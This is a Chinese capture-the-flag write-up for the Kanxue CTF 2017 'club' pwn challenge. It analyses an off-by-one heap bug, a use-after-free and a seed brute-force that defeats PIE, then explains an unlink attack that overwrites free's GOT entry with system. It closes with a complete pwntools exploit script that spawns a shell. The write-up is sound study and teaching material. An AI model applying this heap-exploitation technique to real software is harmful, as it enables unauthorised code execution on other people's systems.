-
-
[原创]看雪CTF2017秋季赛第四题club_pwn
-
2017-10-30 17:59 3343
-
这次的第四题是一个比较比较经典的堆漏洞的利用。可能是因为出题人疏忽的原因,我找到了两个漏洞。不过两个都是堆上的漏洞。利用起来差别也不大。这里我用的经典的off-by-one的利用方法。
逆向分析与漏洞发现
做pwn题的第一步逆向分析还是不能少的。因为代码不多,所以逆向分析的过程分不在赘述。重点要关注的一下几段代码。
1.off-by-one
在leave message这个函数中。注意框起来的这个比较。多读取了一个字节。因为可以分配任意大小的内存。内存中内容可控。所以可以利用。
2.UAF
在destory释放内存的函数中。没有清空标示正在释放的flag。也没有清空堆指针。这就导致了一个uaf。也可以通过构造堆来利用。(猜测这个是作者的本来思路)
3.PIE bypass
程序利用还有一个比较头疼的地方是pie。做题碰见pie先亮半截。还好次有内置的leak,可以帮助获取elf的加载基地址
在程序开始的时候用seed的地址初始化seed。然后用其低32位作为srand的初始化值。然后做guess。不过因为每次rand的值都会返回。所以是可以爆破seed的。pie的低12位(13位?不确定)是固定的。所以只要跑破20位的seed值就可以了。实际测试下来大概几秒钟吧(i7 7700 linux虚拟机单线程跑)。
unlink漏洞利用
有关off-by-one漏洞的利用方式其实已经有很多的文章做介绍。这里我就根据这题的情况做一个稍微的介绍。
首先是创建3块内存,大小分别为0x30,0x108,0x120。第一个内存是凑数用的,原因是忘记掉off-by-one是free哪个内存了,做完才发现不需要。
第二个内存是0x108,因为off-by-one在normal bin上比较好做(fastbin由于不立刻free和unlink,还需要
malloc_consolidate 所以不优先考虑)所以大小应该大于0x80(64位)。然后是大小必须是8的倍数且不是16的倍数。(像大小在0x101-0x108之间的内存,ptmalloc分配的时候会将下一个内存的prev size也复用起来给当前内存。而等于0x108的时候正好完全复用,这时候溢出一个字节就能覆盖下一个内存的size,主要是覆盖到最低位的inuse位。这是off-by-one利用的重点)所以就随意选了一个0x108。第三个内存因为程序逻辑大于前一个+16。所以随意写了个0x120(不是fastbin即可,理由同上)。
这是现在的内存状态。
然后我们修改第二块内存。修改成为了
p64(0)+p64(0x101)+p64(base+0x0000000000202110-24)+p64(base+0x0000000000202110-16)+'a'*0xe0+p64(0x100)+'\x30'
这里我们为了绕过unlink检查,构造了一个伪造的chunk。这个栈溢出的利用是一个套路。
现在内存变成了这样。
注意是如何伪造出一个假冒的chunk的(4的变量,当前chunk的prevsize为0,size为0x100+inuse位1,下一个chunk的prevsize为0x100,size的inuse位要清空)。
然后调用free把第二个chunk给释放掉。就可以造成unlink漏洞了。然后再使用leave message就可以构造一个任意读写的指针了。
getshell
最后是getshell。这个比较简单,因为给了libc,而且没有full-relro。所以只要直接leak got来获取libc位置。再将free改完system来free一块保存/bin/sh的chunk就可以获得shell
这是最后的poc
from pwn import * import ctypes context.log_level = 'debug' so = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./libc.so.6') t = process('./club') # t = remote('123.206.22.95', 8888) def guess(num = 12345): t.recvuntil('> ') t.sendline('5') t.recvuntil('> ') t.sendline(str(num)) t.recvuntil('Wr0ng answer!The number is ') num = t.recvuntil('!') return int(num[:-1]) def get_base(num): t.recvuntil('> ') t.sendline('5') t.recvuntil('> ') t.sendline(str(num)) t.recvuntil('G00dj0b!You get a secret: ') num = t.recvuntil('!') return int(num[:-1]) def guess_seed(num): for i in xrange(0x100000,0,-1): i = i<<12 i += 0x148 so.srand(i) j = 0 while j < 30: j += 1 a = so.rand() if a == num[j-1]: continue break if j == 30: return so.rand() print 'aaa' print i return 0 def add(choose, size): t.recvuntil('> ') t.sendline("1") t.recvuntil('> ') t.sendline(str(choose)) t.recvuntil('> ') t.sendline(str(size)) def edit(choose, payload): t.recvuntil('> ') t.sendline("3") t.recvuntil('> ') t.sendline(str(choose)) t.send(payload) def free(choose): t.recvuntil('> ') t.sendline("2") t.recvuntil('> ') t.sendline(str(choose)) num_table = [] for i in range(30): num_table.append(guess()) print num_table r = guess_seed(num_table) num = get_base(r) base = num - 0x0000000000202148 print hex(base) add(1, 0x30) add(2, 0x108) add(3, 0x120) #0000000000202110 edit(2, p64(0)+p64(0x101)+p64(base+0x0000000000202110-24)+p64(base+0x0000000000202110-16)+'a'*0xe0+p64(0x100)+'\x30') raw_input() free(3) edit(2, 'a'*16+p64(base + 0x0000000000202018)+p64(base + 0x0000000000202018)+'\n') print 'aaaaaaaaa' t.recvuntil('> ') t.sendline("4") t.recvuntil('> ') t.sendline("1") a = t.recvline()[:-1] a = a.ljust(8,'\x00') free_a = u64(a) print hex(free_a) libc = free_a - elf.symbols['free'] system = libc + elf.symbols['system'] edit(1, p64(system)+'\n') edit(3, '/bin/sh\x00\n') free(3) t.interactive()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
看原图